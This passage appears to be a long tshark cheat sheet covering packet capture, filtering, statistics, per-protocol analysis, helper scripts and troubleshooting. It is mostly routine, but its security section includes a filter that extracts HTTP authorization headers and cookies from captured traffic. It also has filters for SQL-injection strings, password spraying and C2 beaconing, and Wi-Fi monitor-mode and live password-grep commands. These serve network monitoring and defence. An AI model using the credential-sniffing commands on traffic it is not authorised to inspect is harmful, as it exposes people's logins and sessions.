tshark -r capture.pcap -T ek | while read line; do echo '{"index":{}}'; echo "$line"; done

# Basic CSV output
tshark -r capture.pcap -T fields \
  -e frame.number -e frame.time -e ip.src -e ip.dst -e frame.len \
  -E header=y -E separator=, -E quote=d

# CSV with HTTP data
tshark -r capture.pcap -Y "http" -T fields \
  -e frame.time -e ip.src -e ip.dst \
  -e http.request.method -e http.host -e http.request.uri -e http.response.code \
  -E header=y -E separator=, -E quote=d -E occurrence=f

# Save to CSV file
tshark -r capture.pcap -T fields \
  -e frame.time -e ip.src -e ip.dst -e tcp.port \
  -E header=y -E separator=, -E quote=d > output.csv

# Print specific columns
tshark -r capture.pcap -T fields \
  -e frame.number \
  -e frame.time_relative \
  -e ip.src \
  -e ip.dst \
  -e _ws.col.Protocol \
  -e frame.len

# With better formatting using column
tshark -r capture.pcap -T fields \
  -e frame.number -e ip.src -e ip.dst \
  -E separator=/s | column -t

# Custom time format
tshark -r capture.pcap -t ad -T fields -e frame.time

# Time format options:
# -t r  : relative to first packet
# -t a  : absolute time
# -t ad : absolute with date
# -t d  : delta time (since previous packet)
# -t e  : epoch time

# Ring buffer with file count limit
tshark -i eth0 -w capture.pcap -b files:10 -b filesize:10000
# Creates capture_00001.pcap, capture_00002.pcap, ... capture_00010.pcap
# Overwrites oldest file when limit reached

# Ring buffer with duration
tshark -i eth0 -w capture.pcap -b duration:60 -b files:24
# New file every 60 seconds, keep 24 files (24 hours of 1-minute captures)

# Ring buffer with file size
tshark -i eth0 -w capture.pcap -b filesize:100000 -b files:5
# New file when size reaches ~100MB, keep 5 files

# Combine multiple conditions
tshark -i eth0 -w capture.pcap -b filesize:50000 -b duration:300 -b files:10
# New file every 5 minutes OR 50MB, keep 10 files

# Stop after N packets
tshark -i eth0 -c 1000 -w capture.pcap

# Stop after duration
tshark -i eth0 -a duration:3600 -w capture.pcap  # 1 hour

# Stop after file size
tshark -i eth0 -a filesize:100000 -w capture.pcap  # ~100MB

# Stop after N files
tshark -i eth0 -w capture.pcap -b files:5 -a files:5

# Multiple stop conditions (first met wins)
tshark -i eth0 -w capture.pcap -a duration:3600 -a filesize:100000

# Capture on multiple interfaces
tshark -i eth0 -i wlan0 -w capture.pcap

# Capture on all interfaces
tshark -i any -w capture.pcap

# Capture with interface in output
tshark -i eth0 -i wlan0 -T fields -e frame.interface_name -e ip.src -e ip.dst

# Capture only headers (first 128 bytes)
tshark -i eth0 -s 128 -w capture.pcap

# Capture full packets (default)
tshark -i eth0 -s 0 -w capture.pcap

# Minimal capture (Ethernet + IP + TCP headers)
tshark -i eth0 -s 54 -w capture.pcap

# Common snapshot lengths:
# 54-68: Headers only (Ethernet + IP + TCP/UDP)
# 128: Headers + some payload
# 256: Headers + moderate payload
# 1514: Full Ethernet frame
# 0: No limit (capture full packets)

# Set capture buffer size (in MB)
tshark -i eth0 -B 100 -w capture.pcap  # 100MB buffer

# Larger buffer for high-traffic capture
tshark -i eth0 -B 512 -w capture.pcap  # 512MB buffer

# Helps prevent packet loss on busy networks

# Disable all name resolution (faster)
tshark -n -r capture.pcap

# Enable MAC name resolution
tshark -N m -r capture.pcap

# Enable network name resolution (DNS)
tshark -N n -r capture.pcap

# Enable transport name resolution (port names)
tshark -N t -r capture.pcap

# Enable all name resolution
tshark -N mnt -r capture.pcap

# Disable name resolution during capture
tshark -i eth0 -n -w capture.pcap

# Enable monitor mode on Wi-Fi interface
sudo ip link set wlan0 down
sudo iw wlan0 set monitor control
sudo ip link set wlan0 up

# Capture in monitor mode
sudo tshark -i wlan0 -w wifi-capture.pcap

# Capture specific channel
sudo iw wlan0 set channel 6
sudo tshark -i wlan0 -w wifi-channel6.pcap

# Capture with radiotap headers
sudo tshark -i wlan0 -I -w wifi-monitor.pcap

# Capture on remote host via SSH and save locally
ssh user@remote-host "tshark -i eth0 -w -" > local-capture.pcap

# Capture on remote host and analyze locally in real-time
ssh user@remote-host "tshark -i eth0 -w -" | tshark -r - -Y "http"

# Remote capture with compression
ssh user@remote-host "tshark -i eth0 -w - | gzip -c" | gunzip -c > capture.pcap

# Using tcpdump on remote host
ssh user@remote-host "tcpdump -i eth0 -w -" | tshark -r -

# Protocol hierarchy
tshark -r capture.pcap -q -z io,phs

# Shows percentage breakdown of protocols
# Example output:
# eth                                      100.00%
#   ip                                      95.00%
#     tcp                                   70.00%
#       http                                30.00%
#       tls                                 25.00%
#     udp                                   25.00%
#       dns                                 15.00%

# TCP conversations
tshark -r capture.pcap -q -z conv,tcp

# UDP conversations
tshark -r capture.pcap -q -z conv,udp

# IP conversations
tshark -r capture.pcap -q -z conv,ip

# Ethernet conversations
tshark -r capture.pcap -q -z conv,eth

# All conversations
tshark -r capture.pcap -q -z conv,tcp -z conv,udp

# TCP endpoints
tshark -r capture.pcap -q -z endpoints,tcp

# UDP endpoints
tshark -r capture.pcap -q -z endpoints,udp

# IP endpoints
tshark -r capture.pcap -q -z endpoints,ip

# Ethernet endpoints
tshark -r capture.pcap -q -z endpoints,eth

# I/O graph (packets per interval)
tshark -r capture.pcap -q -z io,stat,1  # 1 second intervals

# I/O stats with filters
tshark -r capture.pcap -q -z "io,stat,1,tcp,udp,icmp"

# I/O stats for specific filter
tshark -r capture.pcap -q -z "io,stat,1,http"

# Multiple interval types
tshark -r capture.pcap -q -z io,stat,1  # 1 second
tshark -r capture.pcap -q -z io,stat,60 # 1 minute

# HTTP requests by host
tshark -r capture.pcap -q -z http,tree

# HTTP request/response statistics
tshark -r capture.pcap -q -z http_req,tree

# HTTP response codes
tshark -r capture.pcap -q -z http_srv,tree

# HTTP request methods
tshark -r capture.pcap -Y "http.request" -T fields -e http.request.method | sort | uniq -c

# HTTP hosts
tshark -r capture.pcap -Y "http.request" -T fields -e http.host | sort | uniq -c

# HTTP user agents
tshark -r capture.pcap -Y "http.request" -T fields -e http.user_agent | sort | uniq

# DNS statistics
tshark -r capture.pcap -q -z dns,tree

# DNS queries
tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.name | sort | uniq -c

# DNS query types
tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.type | sort | uniq -c

# DNS servers queried
tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e ip.dst | sort | uniq -c

# DNS response times
tshark -r capture.pcap -Y "dns.flags.response == 1" -T fields -e dns.time

# TLS handshake statistics
tshark -r capture.pcap -Y "tls.handshake" -q -z "io,stat,0,tls.handshake.type==1"

# TLS versions
tshark -r capture.pcap -Y "tls.handshake.version" -T fields -e tls.handshake.version | sort | uniq -c

# TLS SNI (Server Name Indication)
tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields \
  -e tls.handshake.extensions_server_name | sort | uniq -c

# TLS cipher suites
tshark -r capture.pcap -Y "tls.handshake.type == 2" -T fields \
  -e tls.handshake.ciphersuite | sort | uniq -c

# TCP retransmissions
tshark -r capture.pcap -Y "tcp.analysis.retransmission" -q -z io,stat,0

# TCP duplicate ACKs
tshark -r capture.pcap -Y "tcp.analysis.duplicate_ack" -q -z io,stat,0

# TCP zero windows
tshark -r capture.pcap -Y "tcp.analysis.zero_window" -q -z io,stat,0

# TCP reset connections
tshark -r capture.pcap -Y "tcp.flags.reset == 1" -q -z io,stat,0

# TCP SYN/SYN-ACK/ACK statistics
tshark -r capture.pcap -q -z "io,stat,0,tcp.flags.syn==1 and tcp.flags.ack==0,tcp.flags.syn==1 and tcp.flags.ack==1"

# DNS response time
tshark -r capture.pcap -q -z "srt,dns"

# HTTP response time
tshark -r capture.pcap -q -z "srt,http"

# SMB response time
tshark -r capture.pcap -q -z "srt,smb"

# All expert information
tshark -r capture.pcap -q -z expert

# Expert info summary
tshark -r capture.pcap -Y "expert" -T fields -e expert.message -e expert.severity

# Warnings only
tshark -r capture.pcap -Y "expert.severity == warning"

# Errors only
tshark -r capture.pcap -Y "expert.severity == error"

# Count packets by source IP
tshark -r capture.pcap -T fields -e ip.src | sort | uniq -c | sort -rn

# Count packets by destination port
tshark -r capture.pcap -T fields -e tcp.dstport | sort | uniq -c | sort -rn

# Total bytes by IP address
tshark -r capture.pcap -T fields -e ip.src -e frame.len | \
  awk '{sum[$1]+=$2} END {for (ip in sum) print ip, sum[ip]}' | sort -k2 -rn

# Average packet size
tshark -r capture.pcap -T fields -e frame.len | \
  awk '{sum+=$1; count++} END {print sum/count}'

# Packets per second
tshark -r capture.pcap -T fields -e frame.time_epoch | \
  awk -F. '{print $1}' | uniq -c

# Follow first TCP stream (stream 0)
tshark -r capture.pcap -q -z follow,tcp,ascii,0

# Follow specific TCP stream by number
tshark -r capture.pcap -q -z follow,tcp,ascii,5

# Follow TCP stream in hex
tshark -r capture.pcap -q -z follow,tcp,hex,0

# Follow TCP stream in raw format
tshark -r capture.pcap -q -z follow,tcp,raw,0

# Find stream number for specific connection
tshark -r capture.pcap -Y "ip.src == 192.168.1.1 and tcp.port == 80" -T fields -e tcp.stream | head -1

# Follow that stream
STREAM=$(tshark -r capture.pcap -Y "ip.src == 192.168.1.1 and tcp.port == 80" -T fields -e tcp.stream | head -1)
tshark -r capture.pcap -q -z follow,tcp,ascii,$STREAM

# Follow UDP stream
tshark -r capture.pcap -q -z follow,udp,ascii,0

# Follow specific UDP stream
tshark -r capture.pcap -q -z follow,udp,ascii,3

# Follow HTTP stream
tshark -r capture.pcap -q -z follow,http,ascii,0

# Extract HTTP objects (files)
tshark -r capture.pcap --export-objects http,./exported-http-objects/

# List HTTP objects
tshark -r capture.pcap -q -z http,tree

# Follow TLS stream (shows encrypted data)
tshark -r capture.pcap -q -z follow,tls,ascii,0

# Decrypt TLS with key log file
tshark -r capture.pcap -o tls.keylog_file:sslkeys.log -q -z follow,tls,ascii,0

# Export TLS objects (if decrypted)
tshark -r capture.pcap -o tls.keylog_file:sslkeys.log --export-objects http,./exported/

# HTTP request summary
tshark -r capture.pcap -Y "http.request" -T fields \
  -e frame.number -e ip.src -e http.request.method -e http.host -e http.request.uri

# HTTP response summary
tshark -r capture.pcap -Y "http.response" -T fields \
  -e frame.number -e ip.src -e http.response.code -e http.content_length

# HTTP POST data
tshark -r capture.pcap -Y "http.request.method == POST" -T fields \
  -e http.host -e http.request.uri -e http.file_data

# HTTP cookies
tshark -r capture.pcap -Y "http.cookie" -T fields -e http.cookie

# HTTP with response time
tshark -r capture.pcap -Y "http.time" -T fields \
  -e http.request.full_uri -e http.response.code -e http.time

# Extract HTTP files
tshark -r capture.pcap --export-objects http,./http-exports/

# DNS query-response pairs
tshark -r capture.pcap -Y "dns" -T fields \
  -e frame.time -e ip.src -e dns.qry.name -e dns.a -e dns.aaaa

# DNS query performance
tshark -r capture.pcap -Y "dns.flags.response == 1" -T fields \
  -e dns.qry.name -e dns.time | awk '{sum+=$2; count++} END {print sum/count}'

# DNS servers used
tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e ip.dst | sort | uniq -c

# DNS NXDOMAINs
tshark -r capture.pcap -Y "dns.flags.rcode == 3" -T fields -e dns.qry.name

# DNS query types distribution
tshark -r capture.pcap -Y "dns.flags.response == 0" -T fields -e dns.qry.type | \
  awk '{types[$1]++} END {for (t in types) print t, types[t]}'

# Potential DNS tunneling (unusual query patterns)
tshark -r capture.pcap -Y "dns.qry.name.len > 50" -T fields -e dns.qry.name

# TLS handshakes
tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields \
  -e frame.time -e ip.src -e ip.dst -e tls.handshake.extensions_server_name

# TLS versions in use
tshark -r capture.pcap -Y "tls.handshake.version" -T fields \
  -e tls.handshake.extensions_server_name -e tls.handshake.version

# TLS cipher suites offered
tshark -r capture.pcap -Y "tls.handshake.type == 1" -T fields \
  -e tls.handshake.ciphersuite

# TLS cipher suite selected
tshark -r capture.pcap -Y "tls.handshake.type == 2" -T fields \
  -e tls.handshake.extensions_server_name -e tls.handshake.ciphersuite

# TLS certificate details
tshark -r capture.pcap -Y "tls.handshake.type == 11" -T fields \
  -e x509sat.printableString -e x509ce.dNSName

# TLS alerts
tshark -r capture.pcap -Y "tls.alert_message" -T fields \
  -e frame.time -e ip.src -e ip.dst -e tls.alert_message.level -e tls.alert_message.desc

# Weak TLS versions
tshark -r capture.pcap -Y "tls.record.version < 0x0303"  # Older than TLS 1.2

# TCP connection establishment (3-way handshake)
tshark -r capture.pcap -Y "tcp.flags.syn == 1"

# TCP connection completions
tshark -r capture.pcap -Y "tcp.flags.fin == 1 or tcp.flags.reset == 1"

# TCP retransmissions by host
tshark -r capture.pcap -Y "tcp.analysis.retransmission" -T fields -e ip.src | sort | uniq -c

# TCP window size issues
tshark -r capture.pcap -Y "tcp.analysis.zero_window or tcp.analysis.window_full"

# TCP reset connections
tshark -r capture.pcap -Y "tcp.flags.reset == 1" -T fields \
  -e frame.time -e ip.src -e tcp.srcport -e ip.dst -e tcp.dstport

# TCP duplicate ACKs
tshark -r capture.pcap -Y "tcp.analysis.duplicate_ack"

# TCP out-of-order packets
tshark -r capture.pcap -Y "tcp.analysis.out_of_order"

# TCP connections by port
tshark -r capture.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" -T fields \
  -e tcp.dstport | sort | uniq -c | sort -rn

# TCP handshake time (SYN to SYN-ACK)
tshark -r capture.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 1" -T fields \
  -e tcp.time_relative

# ICMP echo requests/replies (ping)
tshark -r capture.pcap -Y "icmp.type == 8 or icmp.type == 0" -T fields \
  -e frame.time -e ip.src -e ip.dst -e icmp.type -e icmp.seq

# ICMP unreachable messages
tshark -r capture.pcap -Y "icmp.type == 3" -T fields \
  -e frame.time -e ip.src -e ip.dst -e icmp.code

# ICMP time exceeded (traceroute)
tshark -r capture.pcap -Y "icmp.type == 11"

# Ping response times
tshark -r capture.pcap -Y "icmp.type == 0" -T fields -e icmp.resptime

# DHCP transactions
tshark -r capture.pcap -Y "dhcp" -T fields \
  -e frame.time -e dhcp.option.dhcp -e dhcp.ip.your -e dhcp.option.hostname

# DHCP discover/offer/request/ack flow
tshark -r capture.pcap -Y "dhcp" -T fields \
  -e frame.time -e dhcp.option.dhcp -e dhcp.hw.mac_addr -e dhcp.ip.your

# DHCP servers
tshark -r capture.pcap -Y "dhcp.option.dhcp == 2" -T fields -e ip.src | sort -u

# DHCP assigned IPs
tshark -r capture.pcap -Y "dhcp.option.dhcp == 5" -T fields \
  -e dhcp.hw.mac_addr -e dhcp.ip.your

# DHCP lease times
tshark -r capture.pcap -Y "dhcp" -T fields -e dhcp.option.dhcp_lease_time

# ARP requests and replies
tshark -r capture.pcap -Y "arp" -T fields \
  -e frame.time -e arp.opcode -e arp.src.hw_mac -e arp.src.proto_ipv4 \
  -e arp.dst.hw_mac -e arp.dst.proto_ipv4

# ARP table building
tshark -r capture.pcap -Y "arp.opcode == 2" -T fields \
  -e arp.src.proto_ipv4 -e arp.src.hw_mac | sort -u

# Gratuitous ARP
tshark -r capture.pcap -Y "arp.opcode == 1 and arp.src.proto_ipv4 == arp.dst.proto_ipv4"

# ARP scans (many requests from one source)
tshark -r capture.pcap -Y "arp.opcode == 1" -T fields -e arp.src.proto_ipv4 | sort | uniq -c | sort -rn

# Potential ARP spoofing (duplicate IPs with different MACs)
tshark -r capture.pcap -Y "arp.opcode == 2" -T fields \
  -e arp.src.proto_ipv4 -e arp.src.hw_mac | sort | uniq

# SMB file access
tshark -r capture.pcap -Y "smb2.cmd == 5" -T fields \
  -e frame.time -e ip.src -e smb2.filename

# SMB file reads/writes
tshark -r capture.pcap -Y "smb2.cmd == 8 or smb2.cmd == 9" -T fields \
  -e frame.time -e ip.src -e smb2.cmd -e smb2.filename

# SMB authentication
tshark -r capture.pcap -Y "smb2.cmd == 1" -T fields \
  -e frame.time -e ip.src -e ntlmssp.auth.username

# SMB shares accessed
tshark -r capture.pcap -Y "smb2.cmd == 3" -T fields -e smb2.tree | sort -u

# SMB errors
tshark -r capture.pcap -Y "smb2.nt_status != 0x00000000" -T fields \
  -e frame.time -e ip.src -e smb2.cmd -e smb2.nt_status

# Minimize packet loss with large buffer
tshark -i eth0 -B 512 -w capture.pcap

# Use capture filter to reduce load
tshark -i eth0 -f "tcp port 80" -w capture.pcap

# Disable name resolution for speed
tshark -i eth0 -n -w capture.pcap

# Truncate packets to reduce storage
tshark -i eth0 -s 128 -w capture.pcap

# Write directly to fast storage
tshark -i eth0 -w /dev/shm/capture.pcap

# Use multiple smaller files
tshark -i eth0 -w capture.pcap -b filesize:100000 -b files:10

# Disable display during capture
tshark -i eth0 -w capture.pcap -q

# Use capture filter when possible (faster than display filter)
tshark -i eth0 -f "tcp port 80"    # Fast (capture filter)
# vs
tshark -i eth0 -Y "tcp.port == 80"  # Slower (display filter)

# Disable protocol dissection not needed
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1" -d tcp.port==8080,http

# Read specific packet range
tshark -r capture.pcap -c 1000     # Read first 1000 packets

# Skip packets at beginning
tshark -r capture.pcap -Y "frame.number > 10000"

# Use two-pass filtering
# First pass: filter to smaller file
tshark -r large.pcap -Y "http" -w http-only.pcap
# Second pass: detailed analysis
tshark -r http-only.pcap -V

# Disable name resolution
tshark -r capture.pcap -n -Y "ip"

# Use fields instead of full dissection
tshark -r capture.pcap -T fields -e ip.src -e ip.dst  # Fast
# vs
tshark -r capture.pcap -V                             # Slow

# Limit memory usage with ring buffer
tshark -i eth0 -w capture.pcap -b files:5 -b filesize:10000

# Process in chunks
for i in {1..10}; do
  tshark -r large.pcap -Y "frame.number >= $((($i-1)*10000)) and frame.number < $(($i*10000))"
done

# Stream processing (don't load all into memory)
tshark -r capture.pcap -T fields -e ip.src | sort | uniq -c

# Verify connectivity between hosts
tshark -i eth0 -f "host 192.168.1.1 and host 192.168.1.2"

# Check if traffic reaches interface
tshark -i eth0 -f "host 8.8.8.8" -c 10

# Analyze TCP retransmissions (poor connection quality)
tshark -r capture.pcap -Y "tcp.analysis.retransmission" -q -z io,stat,1

# Check DNS resolution issues
tshark -i eth0 -Y "dns" -T fields -e frame.time -e dns.qry.name -e dns.flags.rcode

# Verify routing (ICMP redirects)
tshark -i eth0 -Y "icmp.type == 5"

# Identify packet loss
tshark -i eth0 -Y "tcp.analysis.lost_segment"

# Monitor bandwidth usage
tshark -i eth0 -q -z io,stat,1

# Check for duplicate IP addresses (ARP conflicts)
tshark -i eth0 -Y "arp.duplicate-address-detected"

# Detect port scanning
tshark -r capture.pcap -Y "tcp.flags.syn == 1 and tcp.flags.ack == 0" -T fields \
  -e ip.src -e tcp.dstport | awk '{print $1}' | sort | uniq -c | sort -rn

# Identify suspicious DNS queries (DGA domains, tunneling)
tshark -r capture.pcap -Y "dns.qry.name.len > 50 or dns.qry.name matches \"[a-z]{20,}\""

# Detect ARP spoofing
tshark -r capture.pcap -Y "arp" -T fields -e arp.src.proto_ipv4 -e arp.src.hw_mac | \
  sort | uniq -d

# Find unencrypted HTTP credentials
tshark -r capture.pcap -Y "http.authorization or http.cookie" -T fields \
  -e http.authorization -e http.cookie

# Detect SQL injection attempts
tshark -r capture.pcap -Y "http.request.uri contains \"union select\" or \
  http.request.uri contains \"1=1\""

# Identify malware C2 beaconing (regular intervals)
tshark -r capture.pcap -T fields -e ip.dst -e frame.time_epoch | \
  awk '{print $1, int($2)}' | uniq -c

# Find SMB null sessions
tshark -r capture.pcap -Y "smb2.cmd == 1 and ntlmssp.auth.username == \"\""

# Detect TLS downgrade attacks
tshark -r capture.pcap -Y "tls.record.version < 0x0303"

# Identify password spraying
tshark -r capture.pcap -Y "ntlmssp or kerberos" -T fields \
  -e ip.src -e ntlmssp.auth.username | sort | uniq -c

# Debug HTTP API calls
tshark -i eth0 -Y "http.host == \"api.example.com\"" -V

# Monitor database queries (MySQL example)
tshark -i eth0 -Y "mysql.query" -T fields -e mysql.query

# Debug web application errors
tshark -r capture.pcap -Y "http.response.code >= 500" -T fields \
  -e http.request.full_uri -e http.response.code

# Analyze SOAP/XML traffic
tshark -i eth0 -Y "http.content_type contains \"xml\"" -T fields -e http.file_data

# Debug REST API responses
tshark -i eth0 -Y "http and json" -T fields \
  -e http.request.full_uri -e http.response.code -e json.value.string

# Monitor application performance (HTTP response times)
tshark -r capture.pcap -Y "http.time" -T fields \
  -e http.request.full_uri -e http.time | \
  awk '{sum+=$2; count++} END {print "Average:", sum/count}'

# Debug WebSocket connections
tshark -i eth0 -Y "websocket" -T fields -e websocket.payload

# Identify slow DNS responses
tshark -r capture.pcap -Y "dns.time > 0.1" -T fields \
  -e dns.qry.name -e dns.time -e ip.dst

# Find large HTTP responses
tshark -r capture.pcap -Y "http.content_length > 10000000" -T fields \
  -e http.request.uri -e http.content_length

# Analyze TCP window scaling issues
tshark -r capture.pcap -Y "tcp.window_size < 1000"

# Identify network congestion (TCP analysis)
tshark -r capture.pcap -Y "tcp.analysis.duplicate_ack or tcp.analysis.fast_retransmission"

# Monitor database query performance
tshark -r capture.pcap -Y "mysql" -T fields -e mysql.query -e mysql.response_time

# Analyze TLS handshake time
tshark -r capture.pcap -Y "tls.handshake.type == 2" -T fields \
  -e frame.time_relative -e tls.handshake.extensions_server_name

# Check for bandwidth-heavy hosts
tshark -r capture.pcap -T fields -e ip.src -e frame.len | \
  awk '{bytes[$1]+=$2} END {for(ip in bytes) print ip, bytes[ip]}' | sort -k2 -rn

# Identify chatty protocols
tshark -r capture.pcap -T fields -e _ws.col.Protocol | sort | uniq -c | sort -rn

# SIP call analysis
tshark -r capture.pcap -Y "sip" -T fields \
  -e sip.Method -e sip.from.user -e sip.to.user -e sip.Status-Line

# RTP stream statistics
tshark -r capture.pcap -q -z rtp,streams

# Analyze VoIP quality
tshark -r capture.pcap -q -z voip,stat

# Extract audio from RTP
tshark -r capture.pcap -Y "rtp" --export-objects rtp,./rtp-audio/

# Monitor SIP registration
tshark -i eth0 -Y "sip.Method == REGISTER"

# Track SIP calls
tshark -i eth0 -Y "sip.Method == INVITE or sip.Method == BYE"

# Monitor MQTT messages
tshark -i eth0 -Y "mqtt" -T fields -e mqtt.topic -e mqtt.msg

# CoAP requests
tshark -i eth0 -Y "coap" -T fields -e coap.opt.uri_path

# Zigbee analysis
tshark -i wpan0 -Y "zbee_aps"

# BLE (Bluetooth Low Energy) advertising
tshark -i bluetooth0 -Y "btle.advertising_address"

# UPnP device discovery
tshark -i eth0 -Y "ssdp" -T fields -e ssdp.server -e ssdp.location

#!/bin/bash
# Capture HTTP traffic for 5 minutes and generate report

IFACE="eth0"
DURATION=300
OUTFILE="http-capture-$(date +%Y%m%d-%H%M%S).pcap"
REPORT="http-report-$(date +%Y%m%d-%H%M%S).txt"

# Capture
echo "Capturing HTTP traffic for $DURATION seconds..."
timeout $DURATION tshark -i $IFACE -f "tcp port 80 or tcp port 443" -w $OUTFILE -q

# Analyze
echo "Generating report..."
echo "HTTP Statistics" > $REPORT
echo "===============" >> $REPORT
echo "" >> $REPORT

echo "Top 10 Hosts:" >> $REPORT
tshark -r $OUTFILE -Y "http" -T fields -e http.host | sort | uniq -c | sort -rn | head -10 >> $REPORT

echo "" >> $REPORT
echo "HTTP Methods:" >> $REPORT
tshark -r $OUTFILE -Y "http.request" -T fields -e http.request.method | sort | uniq -c >> $REPORT

echo "" >> $REPORT
echo "Response Codes:" >> $REPORT
tshark -r $OUTFILE -Y "http.response" -T fields -e http.response.code | sort | uniq -c | sort -rn >> $REPORT

echo "Report saved to $REPORT"

#!/bin/bash
# Monitor for suspicious DNS queries

IFACE="eth0"
ALERT_FILE="dns-alerts.log"

tshark -i $IFACE -Y "dns" -T fields -e frame.time -e ip.src -e dns.qry.name | \
while read timestamp src query; do
    # Alert on long domain names (potential DGA/tunneling)
    if [ ${#query} -gt 50 ]; then
        echo "$timestamp ALERT: Suspicious long DNS query from $src: $query" >> $ALERT_FILE
        echo "ALERT: Suspicious DNS query detected!"
    fi

    # Alert on queries to suspicious TLDs
    if [[ $query =~ \.(tk|ml|ga|cf)$ ]]; then
        echo "$timestamp ALERT: Query to suspicious TLD from $src: $query" >> $ALERT_FILE
    fi
done

#!/usr/bin/env python3
import subprocess
import json

def get_http_hosts(pcap_file):
    """Extract unique HTTP hosts from pcap file"""
    cmd = [
        'tshark',
        '-r', pcap_file,
        '-Y', 'http.request',
        '-T', 'fields',
        '-e', 'http.host'
    ]

    result = subprocess.run(cmd, capture_output=True, text=True)
    hosts = set(result.stdout.strip().split('\n'))
    return hosts

def get_dns_queries(pcap_file):
    """Get DNS queries as JSON"""
    cmd = [
        'tshark',
        '-r', pcap_file,
        '-Y', 'dns.flags.response == 0',
        '-T', 'json',
        '-e', 'frame.time',
        '-e', 'ip.src',
        '-e', 'dns.qry.name'
    ]

    result = subprocess.run(cmd, capture_output=True, text=True)
    return json.loads(result.stdout)

def monitor_interface(interface):
    """Monitor interface in real-time"""
    cmd = [
        'tshark',
        '-i', interface,
        '-Y', 'http',
        '-T', 'fields',
        '-e', 'ip.src',
        '-e', 'http.host',
        '-e', 'http.request.uri'
    ]

    process = subprocess.Popen(cmd, stdout=subprocess.PIPE, text=True)

    for line in process.stdout:
        fields = line.strip().split('\t')
        if len(fields) >= 3:
            src_ip, host, uri = fields[0], fields[1], fields[2]
            print(f"HTTP Request: {src_ip} -> {host}{uri}")

if __name__ == '__main__':
    # Example usage
    hosts = get_http_hosts('capture.pcap')
    print(f"Found {len(hosts)} unique HTTP hosts")

    # Monitor eth0
    # monitor_interface('eth0')

# Capture with tcpdump, analyze with tshark
tcpdump -i eth0 -w - | tshark -r - -Y "http"

# Convert tcpdump filter to capture file
tcpdump -i eth0 -w capture.pcap "tcp port 80"
tshark -r capture.pcap -Y "http"

# Combine ngrep for quick text search with tshark for detailed analysis
ngrep -q "password" tcp port 80
tshark -i eth0 -Y "http contains \"password\""

# Generate packets with Scapy, capture with tshark
from scapy.all import *

# In terminal: sudo tshark -i lo -f "icmp"
# Then in Python:
send(IP(dst="127.0.0.1")/ICMP())

# Use tshark for packet capture, Zeek for analysis
tshark -i eth0 -w capture.pcap
zeek -r capture.pcap

# Or pipe directly
tshark -i eth0 -w - | zeek -r -

# Send tshark output to Elasticsearch
tshark -r capture.pcap -T ek | \
while read line; do
    curl -X POST "localhost:9200/packets/_doc" \
         -H 'Content-Type: application/json' \
         -d "$line"
done

# Or use Filebeat/Logstash for better ingestion

# Generate splunk-friendly format
tshark -r capture.pcap -T fields \
  -E header=y -E separator=, -E quote=d \
  -e frame.time -e ip.src -e ip.dst -e _ws.col.Protocol -e frame.len \
  > splunk-import.csv

# Error: "Couldn't run /usr/bin/dumpcap in child process: Permission denied"

# Solution 1: Add user to wireshark group (Debian/Ubuntu)
sudo usermod -a -G wireshark $USER
newgrp wireshark

# Solution 2: Run as root (less secure)
sudo tshark -i eth0

# Solution 3: Set capabilities
sudo setcap cap_net_raw,cap_net_admin+eip /usr/bin/dumpcap

# Verify permissions
ls -l /usr/bin/dumpcap
getcap /usr/bin/dumpcap

# Error: "Capture interface not found"

# List interfaces
tshark -D
ip link show

# Check interface status
ip link show eth0

# Bring interface up
sudo ip link set eth0 up

# Check if interface supports capture
sudo tshark -i eth0 -c 1

# Try with "any" interface
sudo tshark -i any

# No packets captured

# Check capture filter syntax
tshark -i eth0 -f "tcp port 80" -c 10

# Remove capture filter to see all traffic
tshark -i eth0 -c 10

# Check if traffic exists
sudo tcpdump -i eth0 -c 10

# Increase buffer size
tshark -i eth0 -B 512

# Check for packet drops
tshark -i eth0 -q -z io,stat,1

# Error: "tshark: display filter syntax error"

# Test filter syntax
tshark -r capture.pcap -Y "tcp.port == 80" -c 1

# Use quotes around filter
tshark -r capture.pcap -Y "http.request.method == \"GET\""

# Check field names
tshark -G fields | grep -i "http.request"

# Validate filter
tshark -Y "tcp.port == 80" -c 0

# Slow capture or packet loss

# Use capture filter (not display filter)
tshark -i eth0 -f "tcp port 80"  # Fast
# instead of
tshark -i eth0 -Y "tcp.port == 80"  # Slow

# Increase buffer size
tshark -i eth0 -B 512

# Reduce packet size
tshark -i eth0 -s 128

# Disable name resolution
tshark -i eth0 -n

# Write to fast storage
tshark -i eth0 -w /dev/shm/capture.pcap

# Use ring buffer
tshark -i eth0 -w capture.pcap -b files:5 -b filesize:100000

# Error: "tshark: The file is not a capture file"

# Check file type
file capture.pcap

# Try reading with -F option
tshark -r capture.pcap -F pcap

# Convert format if needed
tshark -r old-capture -F pcapng -w new-capture.pcapng

# Check file integrity
tshark -r capture.pcap -c 1 -V

# Out of memory errors

# Use ring buffer for large captures
tshark -i eth0 -w capture.pcap -b files:10 -b filesize:100000

# Process in chunks
tshark -r large.pcap -c 10000 > chunk1.txt

# Use streaming processing
tshark -r large.pcap -T fields -e ip.src | sort | uniq -c

# Limit output
tshark -r large.pcap -c 1000

# Slow performance due to DNS lookups

# Disable all name resolution
tshark -n -r capture.pcap

# Disable specific resolution types
tshark -N n -r capture.pcap  # Disable network name resolution only

# Use custom hosts file
# Edit /etc/hosts then:
tshark -r capture.pcap

# Filter at capture time, not display time
tshark -i eth0 -f "tcp port 80"  # Good
tshark -i eth0 -w all.pcap       # Then filter later - Bad for large captures

# Prevent filling disk
tshark -i eth0 -w capture.pcap -b files:10 -b filesize:100000

# Save storage when full payload not needed
tshark -i eth0 -s 128 -w headers.pcap

# Reduce CPU usage
tshark -i eth0 -w capture.pcap -q

# Check capture statistics
tshark -i eth0 -q -z io,stat,1

# Get overview before detailed analysis
tshark -r capture.pcap -q -z io,phs
tshark -r capture.pcap -q -z conv,tcp

# Narrow down before detailed inspection
tshark -r capture.pcap -Y "tcp.stream == 0" -V

# Don't dump everything
tshark -r capture.pcap -T fields -e ip.src -e ip.dst

# Faster analysis
tshark -r capture.pcap -Y "frame.number < 100"

# First pass: identify interesting streams
